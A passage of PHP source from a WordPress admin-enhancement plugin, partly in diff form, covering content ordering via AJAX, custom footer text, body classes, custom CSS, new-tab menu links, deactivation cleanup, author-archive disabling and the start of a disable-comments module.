// Add 'Order' submenu item under LearnDash menu
// Linked URL will be /wp-admin/admin.php?page=custom-order-sfwd-courses
// We will add a redirect to the correct URL via $this->maybe_perform_menu_link_redirects() hooked in admin_init
$hook_suffix = add_submenu_page(
'learndash-lms',
// Parent (menu) slug. Ref: https://developer.wordpress.org/reference/functions/add_submenu_page/#comment-1404
$post_type_name_plural . ' ' . __( 'Order', 'admin-site-enhancements' ),
// Page title
$post_type_name_plural . ' ' . __( 'Order', 'admin-site-enhancements' ),
// Menu title
'edit_others_posts',
// Capability required
'custom-order-' . $post_type_slug,
// Menu and page slug
[$this, 'custom_order_page_output'],
// Callback function that outputs page content
9999
);
// Add the actual, functional 'Order' submenu page at /edit.php?post_type=sfwd-courses&page=custom-order-sfwd-courses
// We will redirect to this URL from /wp-admin/admin.php?page=custom-order-sfwd-courses created above using $this->maybe_perform_menu_link_redirects() hooked in admin_init
$hook_suffix = add_submenu_page(
'edit.php?post_type=' . $post_type_slug,
// Parent (menu) slug. Ref: https://developer.wordpress.org/reference/functions/add_submenu_page/#comment-1404
// 'learndash-lms', // Parent (menu) slug. Ref: https://developer.wordpress.org/reference/functions/add_submenu_page/#comment-1404
$post_type_name_plural . ' ' . __( 'Order', 'admin-site-enhancements' ),
// Page title
$post_type_name_plural . ' ' . __( 'Order', 'admin-site-enhancements' ),
// Menu title
'edit_others_posts',
// Capability required
'custom-order-' . $post_type_slug,
// Menu and page slug
[$this, 'custom_order_page_output'],
// Callback function that outputs page content
9999
);
} else {
$hook_suffix = add_submenu_page(
'edit.php?post_type=' . $post_type_slug,
// Parent (menu) slug. Ref: https://developer.wordpress.org/reference/functions/add_submenu_page/#comment-1404
$post_type_name_plural . ' Order',
// Page title
__( 'Order', 'admin-site-enhancements' ),
// Menu title
'edit_others_posts',
// Capability required
'custom-order-' . $post_type_slug,
// Menu and page slug
[$this, 'custom_order_page_output'],
// Callback function that outputs page content
9999
);
}
}
add_action( 'admin_print_styles-' . $hook_suffix, [$this, 'enqueue_content_order_styles'] );
add_action( 'admin_print_scripts-' . $hook_suffix, [$this, 'enqueue_content_order_scripts'] );
}
}
}
}
}
/**
* Add additinal HTML elements on list tables
*
* @since 7.6.10
*/
public function add_additional_elements() {
global $pagenow, $typenow;
$common_methods = new Common_Methods();
$options = get_option( ASENHA_SLUG_U, array() );
$content_order_for = ( isset( $options['content_order_for'] ) ? $options['content_order_for'] : array() );
$content_order_enabled_post_types = $common_methods->get_array_of_keys_with_true_value( $content_order_for );
$content_order_other_enabled_post_types = array();
// List tables of pages, posts and CPTs. Administrators and Editors only.
if ( 'edit.php' == $pagenow && current_user_can( 'edit_others_posts' ) && (in_array( $typenow, $content_order_enabled_post_types ) || in_array( $typenow, $content_order_other_enabled_post_types )) ) {
// Add "Order" button
if ( 'post' == $typenow ) {
$typenow = 'posts';
}
?>
<div id="content-order-button">
<a class="button" href="<?php
echo esc_url( get_admin_url() );
?>edit.php?post_type=<?php
echo esc_attr( $typenow );
?>&page=custom-order-<?php
echo esc_attr( $typenow );
?>"><?php
_e( 'Order', 'admin-site-enhancements' );
?></a>
</div>
<?php
}
}
/**
* Add scripts for content list tables
*
* @since 7.6.10
*/
public function add_list_tables_scripts( $hook_suffix ) {
global $pagenow, $typenow;
$common_methods = new Common_Methods();
$options = get_option( ASENHA_SLUG_U, array() );
$content_order_for = ( isset( $options['content_order_for'] ) ? $options['content_order_for'] : array() );
$content_order_enabled_post_types = $common_methods->get_array_of_keys_with_true_value( $content_order_for );
$content_order_other_enabled_post_types = array();
// List tables of pages, posts and CPTs
if ( 'edit.php' == $hook_suffix && current_user_can( 'edit_others_posts' ) && (in_array( $typenow, $content_order_enabled_post_types ) || in_array( $typenow, $content_order_other_enabled_post_types )) ) {
wp_enqueue_style(
'asenha-list-tables-content-order',
ASENHA_URL . 'assets/css/list-tables-content-order.css',
array(),
ASENHA_VERSION
);
wp_enqueue_script(
'asenha-list-tables-content-order',
ASENHA_URL . 'assets/js/list-tables-content-order.js',
array('jquery'),
ASENHA_VERSION,
false
);
}
}
/**
* Maybe perform redirects from the 'Order' submenu link
*
* @since 7.6.9
*/
public function maybe_perform_menu_link_redirects() {
$request_uri = sanitize_text_field( $_SERVER['REQUEST_URI'] );
// e.g. /wp-admin/index.php?page=page-slug
// Redirect for LearnDash LMS Courses post type ('sfwd-courses')
if ( in_array( 'sfwd-lms/sfwd_lms.php', get_option( 'active_plugins', array() ) ) ) {
if ( false !== strpos( $request_uri, 'admin.php?page=custom-order-sfwd-courses' ) ) {
wp_safe_redirect( get_admin_url() . 'edit.php?post_type=sfwd-courses&page=custom-order-sfwd-courses' );
exit;
}
}
}
/**
* Output content for the custom order page for each enabled post types
* Not using settings API because all done via AJAX
*
* @since 5.0.0
*/
public function custom_order_page_output() {
$post_status = array(
'publish',
'future',
'draft',
'pending',
'private'
);
$parent_slug = get_admin_page_parent();
if ( 'edit.php' == $parent_slug ) {
$post_type_slug = 'post';
} elseif ( 'upload.php' == $parent_slug ) {
$post_type_slug = 'attachment';
$post_status = array('inherit', 'private');
} else {
$post_type_slug = str_replace( 'edit.php?post_type=', '', $parent_slug );
}
// Pro-only: featured image thumbnails are rendered only when explicitly enabled via query arg.
$this->show_featured_thumbnails = false;
// Object with properties for each post status and the count of posts for each status
// $post_count_object = wp_count_posts( $post_type_slug );
// Number of items with the status 'publish(ed)', 'future' (scheduled), 'draft', 'pending' and 'private'
// $post_count = absint( $post_count_object->publish )
// + absint( $post_count_object->future )
// + absint( $post_count_object->draft )
// + absint( $post_count_object->pending )
// + absint( $post_count_object->private );
?>
<div class="wrap">
<div class="page-header">
<h2>
<?php
echo esc_html( get_admin_page_title() );
?>
</h2>
<?php
?>
</div>
<?php
// Get posts
$args = array(
'post_type' => $post_type_slug,
'numberposts' => -1,
'orderby' => 'menu_order title',
'order' => 'ASC',
'post_status' => $post_status,
);
// Add the following to non-attachment post types
if ( 'attachment' != $post_type_slug && is_post_type_hierarchical( $post_type_slug ) ) {
// In hierarchical post types, only return non-child posts as we currently only sort parent posts
$args['post_parent'] = 0;
}
$posts = get_posts( $args );
if ( !empty( $posts ) ) {
?>
<ul id="item-list" class="asenha-content-order">
<?php
foreach ( $posts as $post ) {
$this->custom_order_single_item_output( $post );
}
?>
</ul>
<div id="updating-order-notice" class="updating-order-notice" style="display: none;"><img src="<?php
echo esc_attr( ASENHA_URL ) . 'assets/img/oval.svg';
?>" id="spinner-img" class="spinner-img" /><span class="dashicons dashicons-saved" style="display:none;"></span>Updating order...</div>
<?php
} else {
?>
<h3>There is nothing to sort for this post type.</h3>
<?php
}
?>
</div> <!-- End of div.wrap -->
<?php
}
/**
* Output single item sortable for custom content order
*
* @since 5.0.0
*/
private function custom_order_single_item_output( $post ) {
if ( is_post_type_hierarchical( $post->post_type ) ) {
$post_type_object = get_post_type_object( $post->post_type );
$children = get_pages( array(
'child_of' => $post->ID,
'post_type' => $post->post_type,
) );
if ( count( $children ) > 0 ) {
$has_child_label = '<span class="has-child-label"> <span class="dashicons dashicons-arrow-right"></span> Has child ' . strtolower( $post_type_object->label ) . '</span>';
$has_child = 'true';
} else {
$has_child_label = '';
$has_child = 'false';
}
} else {
$has_child_label = '';
$has_child = 'false';
}
$post_status_label_class = ( $post->post_status == 'publish' ? ' item-status-hidden' : '' );
$post_status_object = get_post_status_object( $post->post_status );
if ( 'attachment' == $post->post_type ) {
$post_status_label_separator = '';
$post_status_label = '';
// Attachments / media only has the post status 'inherit'. Let's not show it.
} else {
$post_status_label_separator = ' — ';
$post_status_label = $post_status_object->label;
}
$short_excerpt = '';
$taxonomies_and_terms = '';
// If WPML plugin is active, let's get the current language
if ( in_array( 'sitepress-multilingual-cms/sitepress.php', get_option( 'active_plugins', array() ) ) ) {
$current_language = apply_filters( 'wpml_current_language', null );
$current_post_language_info = apply_filters( 'wpml_post_language_details', null, $post->ID );
if ( !is_wp_error( $current_post_language_info ) ) {
$current_post_language = $current_post_language_info['language_code'];
} else {
// wpml has not set language information for the post
// e.g. post is not translated yet, so, let's use the current site/admin language
$current_post_language = $current_language;
}
$same_language = $current_language === $current_post_language;
// true if language is the same, false otherwise
} else {
// WPML is not active, $same_language is always true, e.g. all posts are in English
$same_language = true;
}
// Only render sortable for posts that have the same language as the current chosen language
if ( $same_language ) {
?>
<li id="list_<?php
echo esc_attr( $post->ID );
?>" class="list-item" data-id="<?php
echo esc_attr( $post->ID );
?>" data-menu-order="<?php
echo esc_attr( $post->menu_order );
?>" data-parent="<?php
echo esc_attr( $post->post_parent );
?>" data-has-child="<?php
echo esc_attr( $has_child );
?>" data-post-type="<?php
echo esc_attr( $post->post_type );
?>">
<div class="row">
<div class="row-content">
<?php
echo '<div class="content-main">
<span class="dashicons dashicons-menu"></span><a href="' . esc_attr( get_edit_post_link( $post->ID ) ) . '" class="item-title">' . esc_html( $post->post_title ) . '</a><span class="item-status' . esc_attr( $post_status_label_class ) . '">' . esc_html( $post_status_label_separator ) . esc_html( $post_status_label ) . '</span>' . wp_kses_post( $has_child_label ) . '<div class="fader"></div>
</div>';
if ( !in_array( $post->post_type, array('asenha_code_snippet') ) ) {
echo '<div class="content-additional">
<a href="' . esc_attr( get_the_permalink( $post->ID ) ) . '" target="_blank" class="button item-view-link">View</a>
</div>';
}
?>
</div>
</div>
<?php
}
// if ( $same_language )
?>
</li>
<?php
}
/**
* Enqueue styles for content order pages
*
* @since 5.0.0
*/
public function enqueue_content_order_styles() {
wp_enqueue_style(
'content-order-style',
ASENHA_URL . 'assets/css/content-order.css',
array(),
ASENHA_VERSION
);
}
/**
* Enqueue scripts for content order pages
*
* @since 5.0.0
*/
public function enqueue_content_order_scripts() {
global $typenow;
wp_enqueue_script(
'content-order-jquery-ui-touch-punch',
ASENHA_URL . 'assets/js/jquery.ui.touch-punch.min.js',
array('jquery-ui-sortable'),
'0.2.3',
true
);
wp_register_script(
'content-order-nested-sortable',
ASENHA_URL . 'assets/js/jquery.mjs.nestedSortable.js',
array('content-order-jquery-ui-touch-punch'),
'2.0.0',
true
);
wp_enqueue_script(
'content-order-sort',
ASENHA_URL . 'assets/js/content-order-sort.js',
array('content-order-nested-sortable'),
ASENHA_VERSION,
true
);
wp_localize_script( 'content-order-sort', 'contentOrderSort', array(
'action' => 'save_custom_order',
'nonce' => wp_create_nonce( 'order_sorting_nonce' ),
'hierarchical' => ( is_post_type_hierarchical( $typenow ) ? 'true' : 'false' ),
'hirarchical' => ( is_post_type_hierarchical( $typenow ) ? 'true' : 'false' ),
) );
}
/**
* Save custom content order coming from ajax call
*
* @since 5.0.0
*/
public function save_custom_content_order() {
global $wpdb;
// Check user capabilities
if ( !current_user_can( 'edit_others_posts' ) ) {
wp_send_json( 'Something went wrong.' );
}
// Verify nonce
if ( !wp_verify_nonce( $_POST['nonce'], 'order_sorting_nonce' ) ) {
wp_send_json( 'Something went wrong.' );
}
// Get ajax variables
$action = ( isset( $_POST['action'] ) ? $_POST['action'] : '' );
// Item parent is currently 0, as we only handle sorting of non-child posts
$item_parent = ( isset( $_POST['item_parent'] ) ? absint( $_POST['item_parent'] ) : 0 );
$menu_order_start = ( isset( $_POST['start'] ) ? absint( $_POST['start'] ) : 0 );
$post_id = ( isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0 );
$item_menu_order = ( isset( $_POST['menu_order'] ) ? absint( $_POST['menu_order'] ) : 0 );
$items_to_exclude = ( isset( $_POST['excluded_items'] ) && is_array( $_POST['excluded_items'] ) ? array_map( 'absint', $_POST['excluded_items'] ) : array() );
$post_type = ( isset( $_POST['post_type'] ) ? sanitize_key( wp_unslash( $_POST['post_type'] ) ) : false );
$is_hierarchical_post_type = ( $post_type ? is_post_type_hierarchical( $post_type ) : false );
$allow_parent_updates = 'attachment' === $post_type || $is_hierarchical_post_type;
if ( !$allow_parent_updates ) {
$item_parent = 0;
}
// Make processing faster by removing certain actions
remove_action( 'pre_post_update', 'wp_save_post_revision' );
// $response array for ajax response
$response = array();
// Update the item whose order/position was moved
if ( $post_id > 0 && !isset( $_POST['more_posts'] ) ) {
$wpdb->update(
$wpdb->posts,
// The table
array(
'menu_order' => $item_menu_order,
),
array(
'ID' => $post_id,
)
);
clean_post_cache( $post_id );
$items_to_exclude[] = $post_id;
}
if ( 'attachment' == $post_type ) {
$post_status = array('inherit', 'private');
} else {
$post_status = array(
'publish',
'future',
'draft',
'pending',
'private'
);
}
// Get all posts from the post type related to ajax request
$query_args = array(
'post_type' => $post_type,
'orderby' => 'menu_order title',
'order' => 'ASC',
'posts_per_page' => -1,
'suppress_filters' => true,
'ignore_sticky_posts' => true,
'post_status' => $post_status,
'post__not_in' => $items_to_exclude,
'update_post_term_cache' => false,
'update_post_meta_cache' => false,
);
if ( 'attachment' === $post_type ) {
// do nothing, we do not add post_parent parameter as media items can be attached to other posts, making them the parent.
} else {
// For hierarchical post types only, update one branch at a time.
// Non-hierarchical post types are reindexed as a full set to avoid duplicate menu_order values.
if ( $is_hierarchical_post_type ) {
$query_args['post_parent'] = $item_parent;
}
}
$posts = new WP_Query($query_args);
if ( $posts->have_posts() ) {
// Iterate through posts and update menu order and post parent
foreach ( $posts->posts as $post ) {
// If the $post is the one being displaced (shited downward) by the moved item, increment it's menu_order by one
if ( $menu_order_start == $item_menu_order && $post_id > 0 ) {
$menu_order_start++;
}
// Only process posts other than the moved item, which has been processed earlier outside this loop
if ( $post_id != $post->ID ) {
// Update menu_order
$wpdb->update( $wpdb->posts, array(
'menu_order' => $menu_order_start,
), array(
'ID' => $post->ID,
) );
clean_post_cache( $post->ID );
}
$items_to_exclude[] = $post->ID;
$menu_order_start++;
}
die( json_encode( $response ) );
} else {
die( json_encode( $response ) );
}
}
/**
* Set default ordering of list tables of sortable post types by 'menu_order'
*
* @link https://developer.wordpress.org/reference/classes/wp_query/#methods
* @since 5.0.0
*/
public function orderby_menu_order( $query ) {
global $pagenow, $typenow;
$query_post_type = $query->get( 'post_type' );
$options = get_option( ASENHA_SLUG_U, array() );
// Hierarchical post types that should be custom ordered
$content_order_for = ( isset( $options['content_order_for'] ) ? $options['content_order_for'] : array() );
$content_order_enabled_post_types = array();
if ( is_array( $content_order_for ) && count( $content_order_for ) > 0 ) {
foreach ( $content_order_for as $post_type_slug => $is_custom_order_enabled ) {
if ( $is_custom_order_enabled ) {
$content_order_enabled_post_types[] = $post_type_slug;
}
}
}
$should_be_custom_sorted = false;
// All post types that should be custom ordered
$content_order_post_types = $content_order_enabled_post_types;
// Use custom order in wp-admin listing pages/tables for enabled post types
if ( is_admin() && ('edit.php' == $pagenow || 'upload.php' == $pagenow) && !isset( $_GET['orderby'] ) ) {
if ( in_array( $typenow, $content_order_post_types ) ) {
$query->set( 'orderby', 'menu_order title' );
$query->set( 'order', 'ASC' );
}
}
}
/**
* Make sure newly created posts are assigned the highest menu_order so it's added at the bottom of the existing order
*
* @since 6.2.1
*/
public function set_menu_order_for_new_posts( $post_id, $post, $update ) {
$options = get_option( ASENHA_SLUG_U, array() );
$content_order_for = ( isset( $options['content_order_for'] ) ? $options['content_order_for'] : array() );
$content_order_enabled_post_types = array();
if ( is_array( $content_order_for ) && count( $content_order_for ) > 0 ) {
foreach ( $content_order_for as $post_type_slug => $is_custom_order_enabled ) {
if ( $is_custom_order_enabled ) {
$content_order_enabled_post_types[] = $post_type_slug;
}
}
}
// Only assign menu_order if there are none assigned when creating the post, i.e. menu_order is 0
if ( in_array( $post->post_type, $content_order_enabled_post_types ) && ('auto-draft' == $post->post_status || 'publish' == $post->post_status) && $post->menu_order == '0' && false === $update ) {
$post_with_highest_menu_order = get_posts( array(
'post_type' => $post->post_type,
'posts_per_page' => 1,
'orderby' => 'menu_order',
'order' => 'DESC',
) );
if ( $post_with_highest_menu_order ) {
$new_menu_order = (int) $post_with_highest_menu_order[0]->menu_order + 1;
// Assign the one higher menu_order to the new post
$args = array(
'ID' => $post_id,
'menu_order' => $new_menu_order,
);
wp_update_post( $args );
}
}
}
}
@@ -0,0 +1,34 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Custom Admin Footer Text module
*
* @since 6.9.5
*/
class Custom_Admin_Footer_Text {
/**
* Modify footer text
*
* @since 6.9.0
*/
public function custom_admin_footer_text_left() {
$options = get_option( ASENHA_SLUG_U, array() );
$custom_admin_footer_left = isset( $options['custom_admin_footer_left'] ) ? $options['custom_admin_footer_left'] : '';
echo wp_kses_post( $custom_admin_footer_left );
}
/**
* Change WP version number text in footer
*
* @since 6.9.0
*/
public function custom_admin_footer_text_right() {
$options = get_option( ASENHA_SLUG_U, array() );
$custom_admin_footer_right = isset( $options['custom_admin_footer_right'] ) ? $options['custom_admin_footer_right'] : '';
echo wp_kses_post( $custom_admin_footer_right );
}
}
@@ -0,0 +1,116 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Custom Body Class module
*
* @since 6.9.5
*/
class Custom_Body_Class {
/**
* Add Custom Body Class meta box for enabled post types
*
* @since 3.9.0
*/
public function add_custom_body_class_meta_box( $post_type, $post ) {
$options = get_option( ASENHA_SLUG_U, array() );
$enable_custom_body_class_for = $options['enable_custom_body_class_for'];
foreach ( $enable_custom_body_class_for as $post_type_slug => $is_custom_body_class_enabled ) {
if ( ( get_post_type() == $post_type_slug ) && $is_custom_body_class_enabled ) {
// Skip adding meta box for post types where Gutenberg is enabled
// if (
// function_exists( 'use_block_editor_for_post_type' )
// && use_block_editor_for_post_type( $post_type_slug )
// ) {
// continue; // go to the beginning of next iteration
// }
add_meta_box(
'asenha-custom-body-class', // ID of meta box
'Custom &lt;body&gt; Class', // Title of meta box
[ $this, 'output_custom_body_class_meta_box' ], // Callback function
$post_type_slug, // The screen on which the meta box should be output to
'normal', // context
'high' // priority
// array(), // $args to pass to callback function. Ref: https://developer.wordpress.org/reference/functions/add_meta_box/#comment-342
);
}
}
}
/**
* Render External Permalink meta box
*
* @since 3.9.0
*/
public function output_custom_body_class_meta_box( $post ) {
?>
<div class="custom-body-class-input">
<input name="<?php echo esc_attr( 'custom_body_class' ); ?>" class="large-text" id="<?php echo esc_attr( 'custom_body_class' ); ?>" type="text" value="<?php echo esc_attr( get_post_meta( $post->ID, '_custom_body_class', true ) ); ?>" placeholder="e.g. light-theme new-year-promo" />
<div class="custom-body-class-input-description">Use blank space to separate multiple classes, e.g. first-class second-class</div>
<?php wp_nonce_field( 'custom_body_class_' . $post->ID, 'custom_body_class_nonce', false, true ); ?>
</div>
<?php
}
/**
* Save custom body class input
*
* @since 3.9.0
*/
public function save_custom_body_class( $post_id ) {
// Only proceed if nonce is verified
if ( isset( $_POST['custom_body_class_nonce'] ) && wp_verify_nonce( $_POST['custom_body_class_nonce'], 'custom_body_class_' . $post_id ) ) {
// Get the value of external permalink from input field
$custom_body_class = isset( $_POST['custom_body_class'] ) ? sanitize_text_field( trim( $_POST['custom_body_class'] ) ) : '';
// Update or delete external permalink post meta
if ( ! empty( $custom_body_class ) ) {
update_post_meta( $post_id, '_custom_body_class', $custom_body_class );
} else {
delete_post_meta( $post_id, '_custom_body_class' );
}
}
}
/**
* Append custom body classes to the frontend <body> tag
*
* @since 4.4.0
*/
public function append_custom_body_class( $classes ) {
// Only add custom body classes to the singular view of enabled post types
if ( is_singular() ) {
global $post;
$custom_body_classes = get_post_meta( $post->ID, '_custom_body_class', true );
if ( ! empty( $custom_body_classes ) ) {
$custom_body_classes = explode( ' ', $custom_body_classes );
foreach( $custom_body_classes as $custom_body_class ) {
$classes[] = sanitize_html_class( $custom_body_class );
}
}
}
return $classes;
}
}
@@ -0,0 +1,50 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Custom Admin and Frontend CSS modules
*
* @since 6.9.5
*/
class Custom_Css {
/**
* Enqueue custom admin CSS
* Consider using https://github.com/Cerdic/CSSTidy in the future
*
* @since 2.3.0
*/
public function custom_admin_css() {
$options = get_option( ASENHA_SLUG_U, array() );
$custom_admin_css = $options['custom_admin_css'];
?>
<style type="text/css">
<?php echo wp_strip_all_tags( $custom_admin_css ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
</style>
<?php
}
/**
* Enqueue custom frontend CSS
* Consider using https://github.com/Cerdic/CSSTidy in the future
*
* @since 2.3.0
*/
public function custom_frontend_css() {
$options = get_option( ASENHA_SLUG_U, array() );
$custom_frontend_css = $options['custom_frontend_css'];
?>
<style type="text/css">
<?php echo wp_strip_all_tags( $custom_frontend_css ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
</style>
<?php
}
}
@@ -0,0 +1,67 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Allow Custom Menu Links to Open in New Tab module
*
* @since 6.9.5
*/
class Custom_Nav_Menu_Items_In_New_Tab {
/**
* Add "open in new tab" checkbox in custom nav menu item settings
*
* @since 5.4.0
*/
public function add_custom_nav_menu_open_in_new_tab_field( $item_id, $menu_item, $depth, $args ) {
$target_blank = get_post_meta( $item_id, '_menu_item_target_blank', true );
if ( 'custom' == $menu_item->object ) {
?>
<p class="field-target_blank description-wide">
<label for="edit-menu-item-target-blank-<?php echo esc_attr( $item_id ); ?>">
<input type="checkbox" id="edit-menu-item-target-blank-<?php echo esc_attr( $item_id ); ?>" name="menu-item-target-blank[<?php echo esc_attr( $item_id ); ?>]" value="1" <?php checked( $target_blank, '1' ); ?> />
Open link in new tab and add rel="noopener noreferrer nofollow" attribute.
</label>
</p>
<?php
}
}
/**
* Save status of "open in new tab" checkbox in custom nav menu item settings
*
* @since 5.4.0
*/
public function save_custom_nav_menu_open_in_new_tab_status( $menu_id, $menu_item_db_id, $args ) {
if ( isset( $_POST['menu-item-target-blank'][$menu_item_db_id] ) ) {
update_post_meta( $menu_item_db_id, '_menu_item_target_blank', '1' );
} else {
delete_post_meta( $menu_item_db_id, '_menu_item_target_blank' );
}
}
/**
* Add attributes to custom nav menu item on the frontend
*
* @since 5.4.0
*/
public function add_attributes_to_custom_nav_menu_item( $atts, $menu_item, $args ) {
$target_blank = get_post_meta( $menu_item->ID, '_menu_item_target_blank', true );
if ( $target_blank ) {
$atts['target'] = '_blank';
$atts['rel'] = 'noopener noreferrer nofollow';
}
return $atts;
}
}
@@ -0,0 +1,52 @@
<?php
namespace ASENHA\Classes;
/**
* Plugin Deactivation
*
* @since 1.0.0
*/
class Deactivation {
/**
* Clear the scheduled failed-login log cleanup cron event.
*
* @since 8.8.3
*/
public function clear_failed_login_attempts_log_cleanup_schedule() {
wp_clear_scheduled_hook( 'asenha_failed_login_attempts_log_cleanup_by_amount' );
}
/**
* Delete failed login log table for Limit Login Attempts feature
*
* @since 2.5.0
*/
public function delete_failed_logins_log_table() {
global $wpdb;
// Limit Login Attempts Log Table
$table_name = $wpdb->prefix . 'asenha_failed_logins';
// Drop table if already exists
$wpdb->query("DROP TABLE IF EXISTS `". $table_name ."`");
}
/**
* Part of Disable Embeds module
* Flush rewrite rules on plugin deactivation.
*
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L113
* @since 8.0.0
*/
public function disable_embeds_flush_rewrite_rules() {
$common_methods = new Common_Methods;
remove_filter( 'rewrite_rules_array', [ $common_methods, 'disable_embeds_rewrites' ] );
flush_rewrite_rules( false );
}
}
@@ -0,0 +1,75 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Disable Updates module
*
* @since 6.9.5
*/
class Disable_Author_Archives {
/**
* Redirect author archives to 404
*
* @link https://plugins.trac.wordpress.org/browser/disable-author-archives/trunk/disable-author-archives.php
* @since 7.9.0
*/
public function redirect_to_404() {
if ( isset( $_GET['author'] ) || is_author() ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
/**
* Remove 'View' link in user table action rows
*
* @link https://plugins.trac.wordpress.org/browser/disable-author-archives/trunk/disable-author-archives.php
* @since 7.9.0
*/
public function remove_user_view_action( $actions ) {
if ( isset( $actions['view'] ) ) {
unset( $actions['view'] );
}
return $actions;
}
/**
* Disable linking from frontend post author name to the author archive
*
* @link https://plugins.trac.wordpress.org/browser/disable-author-archives/trunk/disable-author-archives.php
* @since 7.9.0
*/
public function disable_frontend_author_link() {
return '#';
}
/**
* Remove users from the sitemap
*
* @link https://plugins.trac.wordpress.org/browser/disable-author-archives/trunk/disable-author-archives.php
* @since 7.9.0
*/
public function remove_users_from_sitemap( $provider, $name ) {
if ( $name === 'users' ) {
return false;
}
return $provider;
}
/**
* Disable rewrite rules for authors
*
* @link https://plugins.trac.wordpress.org/browser/xo-security/tags/3.10.4/inc/class-xo-security.php#L886
* @since 7.9.0
*/
public function disable_rewrite_rules_for_authors() {
return array();
}
}
@@ -0,0 +1,310 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Disable Comments module
*
* @since 6.9.5
*/
class Disable_Comments {
/**
* Public post types that should never have comments disabled by this module.
*
* @since 8.5.2
*
* @var string[]
*/
public $inapplicable_post_types = array('kt_gallery');
/**
* Get the disable comments mode.
*
* @since 8.5.2
*
* @param array $options Module options.
* @return string
*/
private function get_disable_comments_type( $options ) {
return 'only-on';
}
/**
* Get the post types selected in the Disable Comments settings.
*
* @since 8.5.2
*
* @param array $options Module options.
* @return string[]
*/
private function get_disabled_comments_post_types( $options ) {
$disable_comments_for = ( isset( $options['disable_comments_for'] ) ? $options['disable_comments_for'] : array() );
if ( empty( $disable_comments_for ) || !is_array( $disable_comments_for ) ) {
return array();
}
$common_methods = new Common_Methods();
$disable_comments_for = $common_methods->get_array_of_keys_with_true_value( $disable_comments_for );
return array_values( array_diff( $disable_comments_for, $this->inapplicable_post_types ) );
}
/**
* Get public post types that support comments and can be managed by this module.
*
* @since 8.5.2
*
* @return string[]
*/
private function get_applicable_public_post_types( $options = array() ) {
if ( empty( $options ) ) {
$options = get_option( ASENHA_SLUG_U, array() );
}
$public_post_types = get_post_types( array(
'public' => true,
), 'names' );
$configured_post_types = ( isset( $options['disable_comments_for'] ) && is_array( $options['disable_comments_for'] ) ? array_keys( $options['disable_comments_for'] ) : array() );
$candidate_post_types = array_unique( array_merge( $public_post_types, $configured_post_types ) );
$applicable_post_types = array();
if ( is_array( $candidate_post_types ) ) {
foreach ( $candidate_post_types as $post_type ) {
$post_type_object = get_post_type_object( $post_type );
if ( !is_object( $post_type_object ) || !$post_type_object->public || $this->is_post_type_inapplicable( $post_type ) ) {
continue;
}
if ( post_type_supports( $post_type, 'comments' ) || array_key_exists( $post_type, (array) $options['disable_comments_for'] ) ) {
$applicable_post_types[] = $post_type;
}
}
}
return $applicable_post_types;
}
/**
* Check if the post type should never be affected by Disable Comments.
*
* @since 8.5.2
*
* @param string $post_type Post type slug.
* @return bool
*/
public function is_post_type_inapplicable( $post_type ) {
return in_array( $post_type, $this->inapplicable_post_types, true );
}
/**
* Check if comments are disabled for all applicable post types.
*
* @since 8.5.2
*
* @param array $options Optional module options.
* @return bool
*/
public function are_comments_disabled_for_all_applicable_post_types( $options = array() ) {
if ( empty( $options ) ) {
$options = get_option( ASENHA_SLUG_U, array() );
}
if ( !isset( $options['disable_comments'] ) || !$options['disable_comments'] ) {
return false;
}
$applicable_post_types = $this->get_applicable_public_post_types( $options );
if ( empty( $applicable_post_types ) ) {
return false;
}
foreach ( $applicable_post_types as $post_type ) {
if ( !$this->is_commenting_disabled_for_post_type( $post_type, $options ) ) {
return false;
}
}
return true;
}
/**
* Disable comments for post types
*
* @since 2.7.0
*/
public function disable_comments_for_post_types_edit() {
$options = get_option( ASENHA_SLUG_U, array() );
foreach ( $this->get_applicable_public_post_types( $options ) as $post_type_slug ) {
if ( $this->is_commenting_disabled_for_post_type( $post_type_slug, $options ) ) {
remove_post_type_support( $post_type_slug, 'comments' );
remove_post_type_support( $post_type_slug, 'trackbacks' );
remove_meta_box( 'commentstatusdiv', $post_type_slug, 'normal' );
remove_meta_box( 'commentstatusdiv', $post_type_slug, 'side' );
remove_meta_box( 'commentsdiv', $post_type_slug, 'normal' );
remove_meta_box( 'commentsdiv', $post_type_slug, 'side' );
remove_meta_box( 'trackbacksdiv', $post_type_slug, 'normal' );
remove_meta_box( 'trackbacksdiv', $post_type_slug, 'side' );
// edit-comments.js
wp_dequeue_script( 'admin-comments' );
}
}
}
/**
* Hide existing comments from the frontend post
*
* @since 6.2.1
*/
public function hide_existing_comments_on_frontend() {
$current_post_type = get_post_type();
if ( $this->is_commenting_disabled_for_post_type( $current_post_type ) ) {
add_filter(
'comments_array',
'__return_empty_array',
10,
2
);
}
}
/**
* Return empty comments array for comment templates
*
* @since 6.3.1
*/
public function maybe_return_empty_comments( $comments, $post_id ) {
$post = get_post( $post_id );
if ( !is_object( $post ) || !property_exists( $post, 'post_type' ) ) {
return $comments;
}
if ( $this->is_commenting_disabled_for_post_type( $post->post_type ) ) {
return array();
}
return $comments;
}
/**
* Close commenting on the frontend
*
* @since 2.7.0
*/
public function close_comments_pings_on_frontend( $comments_pings_open, $post_id ) {
// If commenting or pinging is not open, let's keep it that way
if ( !$comments_pings_open ) {
return $comments_pings_open;
}
// Commenting or pinging is open for the post ID, let's decide if we should close it
$post = get_post( $post_id );
if ( is_object( $post ) && property_exists( $post, 'post_type' ) && $this->is_commenting_disabled_for_post_type( $post->post_type ) ) {
return false;
}
return $comments_pings_open;
}
/**
* Always return zero for comments count on a post where the post type has commenting disabled
*
* @since 6.2.7
*/
public function return_zero_comments_count( $comments_number, $post_id ) {
$post = get_post( $post_id );
if ( is_object( $post ) && property_exists( $post, 'post_type' ) ) {
if ( $this->is_commenting_disabled_for_post_type( $post->post_type ) ) {
return 0;
}
}
return $comments_number;
}
/**
* Disable commenting via XML-RPC
*
* @link https://plugins.trac.wordpress.org/browser/disable-comments/tags/2.4.5/disable-comments.php
* @since 6.3.1
*/
public function disable_xmlrpc_comments( $methods ) {
